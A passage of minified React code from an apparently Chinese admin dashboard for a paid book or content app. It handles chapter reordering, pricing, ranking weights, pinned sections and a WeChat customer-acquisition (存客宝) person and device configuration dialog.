gap-2 min-w-0 flex-1",children:[s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:re=>re.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(Y.id),onChange:()=>y(Y.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsxs("span",{className:"text-sm text-gray-300",children:[J.title," | ",Y.title]})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",children:[s.jsxs("span",{className:"text-[10px] text-gray-500",children:["点击 ",Y.clickCount??0," · 付款 ",Y.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(Y.hotScore??0).toFixed(1)," · 第",Y.hotRank&&Y.hotRank>0?Y.hotRank:"-","名"]}),N&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>N(Y),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5",children:"付款记录"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(Y),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(Y),className:"text-gray-500 hover:text-red-400 h-7 px-2",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]})]},Y.id)}))})]},_.id):s.jsxs("div",{className:`rounded-xl border bg-[#1C1C1E] overflow-hidden transition-all duration-200 ${$?"border-[#38bdac] ring-2 ring-[#38bdac]/40 bg-[#38bdac]/5":"border-gray-700/50"}`,...R("part",_.id,{partId:_.id,partTitle:_.title,chapterId:((U=_.chapters[0])==null?void 0:U.id)??"",chapterTitle:((le=_.chapters[0])==null?void 0:le.title)??""}),children:[s.jsxs("div",{draggable:!0,onDragStart:J=>{J.stopPropagation(),J.dataTransfer.setData("text/plain","part:"+_.id),J.dataTransfer.effectAllowed="move",k({type:"part",id:_.id})},onDragEnd:()=>{k(null),E(null)},className:`flex items-center justify-between p-4 cursor-grab active:cursor-grabbing select-none transition-all duration-200 ${T("part",_.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac] rounded-xl shadow-xl shadow-[#38bdac]/20":"hover:bg-[#162840]/50"}`,onClick:()=>n(_.id),children:[s.jsxs("div",{className:"flex items-center gap-3 min-w-0",children:[s.jsx(ua,{className:"w-5 h-5 text-gray-500 shrink-0 opacity-60"}),s.jsx("div",{className:"w-10 h-10 rounded-xl bg-[#38bdac] flex items-center justify-center text-white font-bold shadow-lg shadow-[#38bdac]/30 shrink-0",children:D(Z)}),s.jsxs("div",{children:[s.jsx("h3",{className:"font-bold text-white text-base",children:_.title}),s.jsxs("p",{className:"text-xs text-gray-500 mt-0.5",children:["共 ",P," 节"]})]})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:J=>J.stopPropagation(),onClick:J=>J.stopPropagation(),children:[o&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>o(_),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"在本篇下新增章节",children:s.jsx(hn,{className:"w-3.5 h-3.5"})}),h&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>h(_),className:"text-gray-500 hover:text-[#38bdac] h-7 px-2",title:"编辑篇名",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),f&&s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>f(_),className:"text-gray-500 hover:text-red-400 h-7 px-2",title:"删除本篇",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})}),s.jsxs("span",{className:"text-xs text-gray-500",children:[oe,"章"]}),H?s.jsx(Zc,{className:"w-5 h-5 text-gray-500"}):s.jsx(pl,{className:"w-5 h-5 text-gray-500"})]})]}),H&&s.jsx("div",{className:"border-t border-gray-700/50 pl-4 pr-4 pb-4 pt-3 space-y-4",children:_.chapters.map(J=>{const Y=I("chapter",J.id);return s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2 w-full",children:[s.jsxs("div",{draggable:!0,onDragStart:B=>{B.stopPropagation(),B.dataTransfer.setData("text/plain","chapter:"+J.id),B.dataTransfer.effectAllowed="move",k({type:"chapter",id:J.id})},onDragEnd:()=>{k(null),E(null)},onDragEnter:B=>{B.preventDefault(),B.stopPropagation(),B.dataTransfer.dropEffect="move",E({type:"chapter",id:J.id})},onDragOver:B=>{B.preventDefault(),B.stopPropagation(),B.dataTransfer.dropEffect="move",E({type:"chapter",id:J.id})},onDragLeave:()=>E(null),onDrop:B=>{E(null);const re=Ng(B.dataTransfer.getData("text/plain"));if(!re)return;const ue={partId:_.id,partTitle:_.title,chapterId:J.id,chapterTitle:J.title};(re.type==="section"||re.type==="chapter")&&L(B,"chapter",J.id,ue)},className:`flex-1 min-w-0 py-2 px-2 rounded cursor-grab active:cursor-grabbing select-none -mx-2 transition-all duration-200 flex items-center gap-2 ${Y?"bg-[#38bdac]/15 ring-1 ring-[#38bdac]/50":""} ${T("chapter",J.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac]":"hover:bg-[#162840]/30"}`,children:[s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),s.jsx("p",{className:"text-xs text-gray-500 pb-1 flex-1",children:J.title})]}),s.jsxs("div",{className:"flex gap-0.5 shrink-0",onClick:B=>B.stopPropagation(),children:[m&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>m(_,J),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑章节名称",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),c&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>c(_),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"新增第X章",children:s.jsx(hn,{className:"w-3.5 h-3.5"})}),u&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>u(_,J),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",title:"删除本章",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]}),s.jsx("div",{className:"space-y-1 pl-2",children:J.sections.map(B=>{const re=I("section",B.id);return s.jsxs("div",{draggable:!0,onDragStart:ue=>{ue.stopPropagation(),ue.dataTransfer.setData("text/plain","section:"+B.id),ue.dataTransfer.effectAllowed="move",k({type:"section",id:B.id})},onDragEnd:()=>{k(null),E(null)},className:`flex items-center justify-between py-2 px-3 rounded-lg group cursor-grab active:cursor-grabbing select-none min-h-[40px] transition-all duration-200 ${re?"bg-[#38bdac]/15 ring-2 ring-[#38bdac]/50":""} ${T("section",B.id)?"opacity-60 scale-[0.98] ring-2 ring-[#38bdac] shadow-lg":"hover:bg-[#162840]/50"}`,...R("section",B.id,{partId:_.id,partTitle:_.title,chapterId:J.id,chapterTitle:J.title}),children:[s.jsxs("div",{className:"flex items-center gap-3 min-w-0 flex-1",children:[y&&s.jsx("label",{className:"shrink-0 flex items-center",onClick:ue=>ue.stopPropagation(),children:s.jsx("input",{type:"checkbox",checked:g.includes(B.id),onChange:()=>y(B.id),className:"w-4 h-4 rounded border-gray-600 bg-[#0a1628] text-[#38bdac] focus:ring-[#38bdac]"})}),s.jsx(ua,{className:"w-4 h-4 text-gray-500 shrink-0 opacity-50"}),s.jsx("div",{className:`w-2 h-2 rounded-full shrink-0 ${B.price===0||B.isFree?"border-2 border-[#38bdac] bg-transparent":"bg-gray-500"}`}),s.jsxs("span",{className:"text-sm text-gray-200 truncate",children:[B.id," ",B.title]}),w.includes(B.id)&&s.jsx("span",{title:"已置顶",children:s.jsx(gl,{className:"w-3 h-3 text-amber-400 fill-amber-400 shrink-0"})})]}),s.jsxs("div",{className:"flex items-center gap-2 shrink-0",onMouseDown:ue=>ue.stopPropagation(),onClick:ue=>ue.stopPropagation(),children:[B.isNew&&s.jsx("span",{className:"px-2 py-1 bg-[#38bdac]/20 text-[#38bdac] text-[10px] font-medium rounded",children:"NEW"}),B.price===0||B.isFree?s.jsx("span",{className:"px-2 py-1 bg-[#38bdac]/20 text-[#38bdac] text-[10px] font-medium rounded",children:"免费"}):s.jsxs("span",{className:"text-xs text-gray-500",children:["¥",B.price]}),s.jsxs("span",{className:"text-[10px] text-gray-500",title:"点击次数 · 付款笔数",children:["点击 ",B.clickCount??0," · 付款 ",B.payCount??0]}),s.jsxs("span",{className:"text-[10px] text-amber-400/90",title:"热度积分与排名",children:["热度 ",(B.hotScore??0).toFixed(1)," · 第",B.hotRank&&B.hotRank>0?B.hotRank:"-","名"]}),N&&s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>N(B),className:"text-[10px] text-gray-500 hover:text-[#38bdac] h-7 px-1.5 shrink-0",children:"付款记录"}),s.jsxs("div",{className:"flex gap-0.5 opacity-0 group-hover:opacity-100 transition-opacity",children:[s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>a(B),className:"text-gray-500 hover:text-[#38bdac] h-7 px-1.5",title:"编辑",children:s.jsx(Wt,{className:"w-3.5 h-3.5"})}),s.jsx(te,{draggable:!1,variant:"ghost",size:"sm",onClick:()=>i(B),className:"text-gray-500 hover:text-red-400 h-7 px-1.5",children:s.jsx(Jn,{className:"w-3.5 h-3.5"})})]})]})]},B.id)})})]},J.id)})})]},_.id)})})}function iV(t){var a;const e=new URLSearchParams;e.set("page",String(t.page)),e.set("limit",String(t.limit)),(a=t==null?void 0:t.keyword)!=null&&a.trim()&&e.set("keyword",t.keyword.trim());const n=e.toString(),r=n?`/api/admin/ckb/devices?${n}`:"/api/admin/ckb/devices";return De(r)}function oV(t){return De(`/api/db/person?personId=${encodeURIComponent(t)}`)}const $4=11,bw={personId:"",name:"",label:"",sceneId:$4,ckbApiKey:"",greeting:"你好,请通过",tips:"请注意消息,稍后加你微信",remarkType:"phone",remarkFormat:"",addFriendInterval:1,startTime:"09:00",endTime:"18:00",deviceGroups:""};function lV({open:t,onOpenChange:e,editingPerson:n,onSubmit:r}){const a=!!n,[i,o]=b.useState(bw),[c,u]=b.useState(!1),[h,f]=b.useState(!1),[m,g]=b.useState([]),[y,N]=b.useState(!1),[w,v]=b.useState(""),[k,C]=b.useState({});b.useEffect(()=>{t&&(v(""),o(n?{personId:n.personId??n.name??"",name:n.name??"",label:n.label??"",sceneId:$4,ckbApiKey:n.ckbApiKey??"",greeting:"你好,请通过",tips:"请注意消息,稍后加你微信",remarkType:n.remarkType??"phone",remarkFormat:n.remarkFormat??"",addFriendInterval:n.addFriendInterval??1,startTime:n.startTime??"09:00",endTime:n.endTime??"18:00",deviceGroups:n.deviceGroups??""}:{...bw}),C({}),m.length===0&&E(""))},[t,n]);const E=async I=>{N(!0);try{const O=await iV({page:1,limit:50,keyword:I});O!=null&&O.success&&Array.isArray(O.devices)?g(O.devices):O!=null&&O.error&&ie.error(O.error)}catch(O){ie.error(O instanceof Error?O.message:"加载设备列表失败")}finally{N(!1)}},T=async()=>{var R;const I={};(!i.name||!String(i.name).trim())&&(I.name="请填写名称");const O=i.addFriendInterval;if((typeof O!="number"||O<1)&&(I.addFriendInterval="添加间隔至少为 1 分钟"),(((R=i.deviceGroups)==null?void 0:R.split(",").map(D=>D.trim()).filter(Boolean))??[]).length===0&&(I.deviceGroups="请至少选择 1 台设备"),C(I),Object.keys(I).length>0){ie.error(I.name||I.addFriendInterval||I.deviceGroups||"请完善必填项");return}u(!0);try{await r(i),e(!1)}catch(D){ie.error(D instanceof Error?D.message:"保存失败")}finally{u(!1)}};return s.jsx(Dt,{open:t,onOpenChange:e,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-4xl max-h-[90vh] overflow-y-auto",children:[s.jsxs(Lt,{children:[s.jsx(_t,{className:"text-[#38bdac]",children:a?"编辑人物":"添加人物 — 存客宝 API 获客"}),s.jsx(yf,{className:"text-gray-400 text-sm",children:a?"修改后同步到存客宝计划":"添加时自动生成 token,并同步创建存客宝场景获客计划"})]}),s.jsxs("div",{className:"space-y-6 py-2",children:[s.jsxs("div",{children:[s.jsx("p",{className:"text-xs font-medium text-gray-400 uppercase tracking-wider mb-3",children:"基础信息"}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsxs("div",{className:"space-y-1.5",children:[s.jsxs(X,{className:"text-gray-400 text-xs",children:["名称 ",s.jsx("span",{className:"text-red-400",children:"*"})]}),s.jsx(se,{className:`bg-[#0a1628] text-white ${k.name?"border-red-500 focus-visible:ring-red-500":"border-gray-700"}`,placeholder:"如 卡若",value:i.name,onChange:I=>{o(O=>({...O,name:I.target.value})),k.name&&C(O=>({...O,name:void 0}))}}),k.name&&s.jsx("p",{className:"text-xs text-red-400",children:k.name})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"人物ID(可选)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"自动生成",value:i.personId,onChange:I=>o(O=>({...O,personId:I.target.value})),disabled:a})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"标签(身份/角色)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如 超级个体",value:i.label,onChange:I=>o(O=>({...O,label:I.target.value}))})]})]})]}),s.jsxs("div",{className:"border-t border-gray-700/50 pt-5",children:[s.jsx("p",{className:"text-xs font-medium text-gray-400 uppercase tracking-wider mb-4",children:"存客宝 API 获客配置"}),s.jsxs("div",{className:"grid grid-cols-2 gap-x-8 gap-y-4",children:[s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"存客宝密钥(计划 apiKey)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"创建计划成功后自动回填,不可手动修改",value:i.ckbApiKey,readOnly:!0}),s.jsx("p",{className:"text-xs text-gray-500",children:"由存客宝计划详情接口返回的 apiKey,用于小程序 @人物 时推送到对应获客计划。"})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsxs(X,{className:"text-gray-400 text-xs",children:["选择设备 ",s.jsx("span",{className:"text-red-400",children:"*"})]}),s.jsxs("div",{className:`flex gap-2 rounded-md border ${k.deviceGroups?"border-red-500":"border-gray-700"}`,children:[s.jsx(se,{className:"bg-[#0a1628] border-0 text-white focus-visible:ring-0 focus-visible:ring-offset-0",placeholder:"未选择设备",readOnly:!0,value:i.deviceGroups?`已选择 ${i.deviceGroups.split(",").filter(Boolean).length} 个设备`:"",onClick:()=>f(!0)}),s.jsx(te,{type:"button",variant:"outline",className:"border-0 border-l border-inherit rounded-r-md text-gray-200",onClick:()=>f(!0),children:"选择"})]}),k.deviceGroups?s.jsx("p",{className:"text-xs text-red-400",children:k.deviceGroups}):s.jsx("p",{className:"text-xs text-gray-500",children:"从存客宝设备列表中选择,至少选择 1 台设备参与获客计划。"})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"好友备注"}),s.jsxs(hl,{value:i.remarkType,onValueChange:I=>o(O=>({...O,remarkType:I})),children:[s.jsx(no,{className:"bg-[#0a1628] border-gray-700 text-white",children:s.jsx(fl,{placeholder:"选择备注类型"})}),s.jsxs(ro,{children:[s.jsx(_r,{value:"phone",children:"手机号"}),s.jsx(_r,{value:"nickname",children:"昵称"}),s.jsx(_r,{value:"source",children:"来源"})]})]})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"备注格式"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如 手机号+SOUL链接人与事-{名称},留空用默认",value:i.remarkFormat,onChange:I=>o(O=>({...O,remarkFormat:I.target.value}))})]})]}),s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"打招呼语"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"你好,请通过",value:i.greeting,onChange:I=>o(O=>({...O,greeting:I.target.value}))})]}),s.jsxs("div",{className:"grid grid-cols-2 gap-3",children:[s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"添加间隔(分钟)"}),s.jsx(se,{type:"number",min:1,className:`bg-[#0a1628] text-white ${k.addFriendInterval?"border-red-500 focus-visible:ring-red-500":"border-gray-700"}`,value:i.addFriendInterval,onChange:I=>{o(O=>({...O,addFriendInterval:Number(I.target.value)||1})),k.addFriendInterval&&C(O=>({...O,addFriendInterval:void 0}))}}),k.addFriendInterval&&s.jsx("p",{className:"text-xs text-red-400",children:k.addFriendInterval})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"允许加人时间段"}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(se,{type:"time",className:"bg-[#0a1628] border-gray-700 text-white w-24",value:i.startTime,onChange:I=>o(O=>({...O,startTime:I.target.value}))}),s.jsx("span",{className:"text-gray-500 text-sm shrink-0",children:"至"}),s.jsx(se,{type:"time",className:"bg-[#0a1628] border-gray-700 text-white w-24",value:i.endTime,onChange:I=>o(O=>({...O,endTime:I.target.value}))})]})]})]}),s.jsxs("div",{className:"space-y-1.5",children:[s.jsx(X,{className:"text-gray-400 text-xs",children:"获客成功提示"}),s.jsx(_l,{className:"bg-[#0a1628] border-gray-700 text-white min-h-[72px] resize-none",placeholder:"请注意消息,稍后加你微信",value:i.tips,onChange:I=>o(O=>({...O,tips:I.target.value}))})]})]})]})]})]}),s.jsxs(on,{className:"gap-3 pt-2",children:[s.jsx(te,{variant:"outline",onClick:()=>e(!1),className:"border-gray-600 text-gray-300",children:"取消"}),s.jsx(te,{onClick:T,disabled:c,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:c?"保存中...":a?"保存":"添加"})]}),h&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",children:s.jsxs("div",{className:"w-full max-w-3xl max-h-[80vh] bg-[#0b1828] border border-gray-700 rounded-xl shadow-xl flex flex-col",children:[s.jsxs("div",{className:"flex items-center justify-between px-5 py-3 border-b border-gray-700/60",children:[s.jsxs("div",{children:[s.jsx("h3",{className:"text-sm font-medium text-white",children:"选择设备"}),s.jsx("p",{className:"text-xs text-gray-400 mt-0.5",children:"勾选需要参与本计划的设备,可多选"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(se,{className:"bg-[#050c18] border-gray-700 text-white h-8 w-52",placeholder:"搜索备注/微信号/IMEI",value:w,onChange:I=>v(I.target.value),onKeyDown:I=>{I.key==="Enter"&&E(w)}}),s.jsx(te,{type:"button",size:"sm",variant:"outline",className:"border-gray-600 text-gray-200 h-8",onClick:()=>E(w),disabled:y,children:"刷新"}),s.jsx(te,{type:"button",size:"icon",variant:"outline",className:"border-gray-600 text-gray-300 h-8 w-8",onClick:()=>f(!1),children:"✕"})]})]}),s.jsx("div",{className:"flex-1 overflow-y-auto",children:y?s.jsx("div",{className:"flex h-full items-center justify-center text-gray-400 text-sm",children:"正在加载设备列表…"}):m.length===0?s.jsx("div",{className:"flex h-full items-center justify-center text-gray-500 text-sm",children:"暂无设备数据,请检查存客宝账号与开放 API 配置"}):s.jsx("div",{className:"p-4 space-y-2",children:m.map(I=>{const O=String(I.id??""),L=i.deviceGroups?i.deviceGroups.split(",").map(_=>_.trim()).filter(Boolean):[],R=L.includes(O),D=()=>{let _;R?_=L.filter(Z=>Z!==O):_=[...L,O],o(Z=>({...Z,deviceGroups:_.join(",")})),_.length>0&&C(Z=>({...Z,deviceGroups:void 0}))};return s.jsxs("label",{className:"flex items-center gap-3 rounded-lg border border-gray-700/60 bg-[#050c18] px-3 py-2 cursor-pointer hover:border-[#38bdac]/70",children:[s.jsx("input",{type:"checkbox",className:"h-4 w-4 accent-[#38bdac]",checked:R,onChange:D}),s.jsxs("div",{className:"flex flex-col min-w-0",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-sm text-white truncate max-w-xs",children:I.memo||I.wechatId||`设备 ${O}`}),I.status==="online"&&s.jsx("span",{className:"rounded-full bg-emerald-500/20 text-emerald-400 text-[11px] px-2 py-0.5",children:"在线"}),I.status==="offline"&&s.jsx("span",{className:"rounded-full bg-gray-600/20 text-gray-400 text-[11px] px-2 py-0.5",children:"离线"})]}),s.jsxs("div",{className:"text-[11px] text-gray-400 mt-0.5",children:[s.jsxs("span",{className:"mr-3",children:["ID: ",O]}),I.wechatId&&s.jsxs("span",{className:"mr-3",children:["微信号: ",I.wechatId]}),typeof I.totalFriend=="number"&&s.jsxs("span",{children:["好友数: ",I.totalFriend]})]})]})]},O)})})}),s.jsxs("div",{className:"flex justify-between items-center px-5 py-3 border-t border-gray-700/60",children:[s.jsxs("span",{className:"text-xs text-gray-400",children:["已选择"," ",i.deviceGroups?i.deviceGroups.split(",").filter(Boolean).length:0," ","台设备"]}),s.jsxs("div",{className:"flex gap-2",children:[s.jsx(te,{type:"button",variant:"outline",className:"border-gray-600 text-gray-200 h-8 px-4",onClick:()=>f(!1),children:"取消"}),s.jsx(te,{type:"button",className:"bg-[#38bdac] hover:bg-[#2da396] text-white h-8 px-4",onClick:()=>f(!1),children:"确定"})]})]})]})})]})})}function cV(t){const e=new Map;for(const c of t){const u=c.partId||"part-1",h=c.partTitle||"未分类",f=c.chapterId||"chapter-1",m=c.chapterTitle||"未分类";e.has(u)||e.set(u,{id:u,title:h,chapters:new Map});const g=e.get(u);g.chapters.has(f)||g.chapters.set(f,{id:f,title:m,sections:[]}),g.chapters.get(f).sections.push({id:c.id,mid:c.mid,title:c.title,price:c.price??1,filePath:c.filePath,isFree:c.isFree,isNew:c.isNew,clickCount:c.clickCount??0,payCount:c.payCount??0,hotScore:c.hotScore??0,hotRank:c.hotRank??0})}const n="part-2026-daily",r="2026每日派对干货";Array.from(e.values()).some(c=>c.title===r||c.title.includes(r))||e.set(n,{id:n,title:r,chapters:new Map([["chapter-2026-daily",{id:"chapter-2026-daily",title:r,sections:[]}]])});const i=Array.from(e.values()).map(c=>({...c,chapters:Array.from(c.chapters.values())})),o=c=>c.includes("序言")?0:c.includes(r)?1.5:c.includes("附录")?2:c.includes("尾声")?3:1;return i.sort((c,u)=>{const h=o(c.title),f=o(u.title);return h!==f?h-f:0})}function dV(){var Kl,ql,Oo;const[t,e]=b.useState([]),[n,r]=b.useState(!0),[a,i]=b.useState([]),[o,c]=b.useState(null),[u,h]=b.useState(!1),[f,m]=b.useState(!1),[g,y]=b.useState(!1),[N,w]=b.useState(""),[v,k]=b.useState([]),[C,E]=b.useState(!1),[T,I]=b.useState({id:"",title:"",price:1,partId:"part-1",chapterId:"chapter-1",content:"",editionStandard:!0,editionPremium:!1,isFree:!1,isNew:!1,isPinned:!1,hotScore:0}),[O,L]=b.useState(null),[R,D]=b.useState(!1),[_,Z]=b.useState(!1),[ne,fe]=b.useState(null),[xe,$]=b.useState(!1),[H,oe]=b.useState([]),[P,K]=b.useState(!1),[V,z]=b.useState(""),[U,le]=b.useState(""),[J,Y]=b.useState(!1),[B,re]=b.useState(""),[ue,ce]=b.useState(!1),[ye,Re]=b.useState(null),[Le,lt]=b.useState(!1),[Tt,ln]=b.useState(!1),[yt,nn]=b.useState({readWeight:.5,recencyWeight:.3,payWeight:.2}),[In,Mt]=b.useState(!1),[Yt,rn]=b.useState(!1),[Rn,pr]=b.useState(1),[Pn,Hn]=b.useState([]),[q,We]=b.useState(!1),[Je,xt]=b.useState([]),[ct,nt]=b.useState(!1),[gt,Rt]=b.useState(20),[gn,mr]=b.useState(!1),[wr,As]=b.useState(!1),[Wr,Is]=b.useState([]),[pe,ge]=b.useState([]),[Pt,On]=b.useState(!1),[Qs,Xs]=b.useState(null),[Wn,Zs]=b.useState(null),[ft,xn]=b.useState({tagId:"",label:"",url:"",type:"url",appId:"",pagePath:""}),[Ur,Ir]=b.useState(null),ds=b.useRef(null),Dn=cV(t),us=t.length,hs=10,Rs=Math.max(1,Math.ceil(Pn.length/hs)),Ma=Pn.slice((Rn-1)*hs,Rn*hs),er=async()=>{r(!0);try{const M=await De("/api/db/book?action=list",{cache:"no-store"});e(Array.isArray(M==null?void 0:M.sections)?M.sections:[])}catch(M){console.error(M),e([])}finally{r(!1)}},Kr=async()=>{We(!0);try{const M=await De("/api/db/book?action=ranking",{cache:"no-store"}),Q=Array.isArray(M==null?void 0:M.sections)?M.sections:[];Hn(Q);const me=Q.filter(Ne=>Ne.isPinned).map(Ne=>Ne.id);xt(me)}catch(M){console.error(M),Hn([])}finally{We(!1)}};b.useEffect(()=>{er(),Kr()},[]);const ea=M=>{i(Q=>Q.includes(M)?Q.filter(me=>me!==M):[...Q,M])},Rr=b.useCallback(M=>{const Q=t,me=M.flatMap(Ne=>{const st=Q.find(mt=>mt.id===Ne.id);return st?[{...st,partId:Ne.partId,partTitle:Ne.partTitle,chapterId:Ne.chapterId,chapterTitle:Ne.chapterTitle}]:[]});return e(me),zt("/api/db/book",{action:"reorder",items:M}).then(Ne=>{Ne&&Ne.success===!1&&(e(Q),ie.error("排序失败: "+(Ne&&typeof Ne=="object"&&"error"in Ne?Ne.error:"未知错误")))}).catch(Ne=>{e(Q),console.error("排序失败:",Ne),ie.error("排序失败: "+(Ne instanceof Error?Ne.message:"网络或服务异常"))}),Promise.resolve()},[t]),Pi=async M=>{if(confirm(`确定要删除章节「${M.title}」吗?此操作不可恢复。`))try{const Q=await Bs(`/api/db/book?id=${encodeURIComponent(M.id)}`);Q&&Q.success!==!1?(ie.success("已删除"),er(),Kr()):ie.error("删除失败: "+(Q&&typeof Q=="object"&&"error"in Q?Q.error:"未知错误"))}catch(Q){console.error(Q),ie.error("删除失败")}},Aa=b.useCallback(async()=>{Mt(!0);try{const M=await De("/api/db/config/full?key=article_ranking_weights",{cache:"no-store"}),Q=M&&M.data;Q&&typeof Q.readWeight=="number"&&typeof Q.recencyWeight=="number"&&typeof Q.payWeight=="number"&&nn({readWeight:Math.max(0,Math.min(1,Q.readWeight)),recencyWeight:Math.max(0,Math.min(1,Q.recencyWeight)),payWeight:Math.max(0,Math.min(1,Q.payWeight))})}catch{}finally{Mt(!1)}},[]);b.useEffect(()=>{Tt&&Aa()},[Tt,Aa]);const Ro=async()=>{const{readWeight:M,recencyWeight:Q,payWeight:me}=yt,Ne=M+Q+me;if(Math.abs(Ne-1)>.001){ie.error("三个权重之和必须等于 1");return}rn(!0);try{const st=await vt("/api/db/config",{key:"article_ranking_weights",value:{readWeight:M,recencyWeight:Q,payWeight:me},description:"文章排名算法权重"});st&&st.success!==!1?(ie.success("排名权重已保存"),ln(!1),er(),Kr()):ie.error("保存失败: "+(st&&typeof st=="object"&&"error"in st?st.error:""))}catch(st){console.error(st),ie.error("保存失败")}finally{rn(!1)}},Ia=b.useCallback(async()=>{nt(!0);try{const M=await De("/api/db/config/full?key=pinned_section_ids",{cache:"no-store"}),Q=M&&M.data;Array.isArray(Q)&&xt(Q)}catch{}finally{nt(!1)}},[]),qr=b.useCallback(async()=>{try{const M=await De("/api/db/persons");M!=null&&M.success&&M.persons&&Is(M.persons.map(Q=>{const me=Q.deviceGroups,Ne=Array.isArray(me)?me.join(","):me??"";return{id:Q.token??Q.personId??"",personId:Q.personId,name:Q.name,label:Q.label??"",ckbApiKey:Q.ckbApiKey??"",ckbPlanId:Q.ckbPlanId,remarkType:Q.remarkType,remarkFormat:Q.remarkFormat,addFriendInterval:Q.addFriendInterval,startTime:Q.startTime,endTime:Q.endTime,deviceGroups:Ne}}))}catch{}},[]),Gr=b.useCallback(async()=>{try{const M=await De("/api/db/link-tags");M!=null&&M.success&&M.linkTags&&ge(M.linkTags.map(Q=>({id:Q.tagId,label:Q.label,url:Q.url,type:Q.type||"url",appId:Q.appId||"",pagePath:Q.pagePath||""})))}catch{}},[]),[Ra,Hl]=b.useState([]),[ta,Ot]=b.useState(""),[Oi,fs]=b.useState(!1),Di=b.useRef(null),Ps=b.useCallback(async()=>{try{const M=await De("/api/admin/linked-miniprograms");M!=null&&M.success&&Array.isArray(M.data)&&Hl(M.data.map(Q=>({...Q,key:Q.key})))}catch{}},[]),Li=Ra.filter(M=>!ta.trim()||M.name.toLowerCase().includes(ta.toLowerCase())||M.key&&M.key.toLowerCase().includes(ta.toLowerCase())||M.appId.toLowerCase().includes(ta.toLowerCase())),Pa=async M=>{const Q=Je.includes(M)?Je.filter(me=>me!==M):[...Je,M];xt(Q);try{await vt("/api/db/config",{key:"pinned_section_ids",value:Q,description:"强制置顶章节ID列表(精选推荐/首页最新更新)"}),Kr()}catch{xt(Je)}},W=b.useCallback(async()=>{mr(!0);try{const M=await De("/api/db/config/full?key=unpaid_preview_percent",{cache:"no-store"}),Q=M&&M.data;typeof Q=="number"&&Q>0&&Q<=100&&Rt(Q)}catch{}finally{mr(!1)}},[]),Pe=async()=>{if(gt<1||gt>100){ie.error("预览比例需在 1~100 之间");return}As(!0);try{const M=await vt("/api/db/config",{key:"unpaid_preview_percent",value:gt,description:"小程序未付费内容默认预览比例(%)"});M&&M.success!==!1?ie.success("预览比例已保存"):ie.error("保存失败: "+(M.error||""))}catch{ie.error("保存失败")}finally{As(!1)}};b.useEffect(()=>{Ia(),W(),qr(),Gr(),Ps()},[Ia,W,qr,Gr,Ps]);const Ve=async M=>{Re({section:M,orders:[]}),lt(!0);try{const Q=await 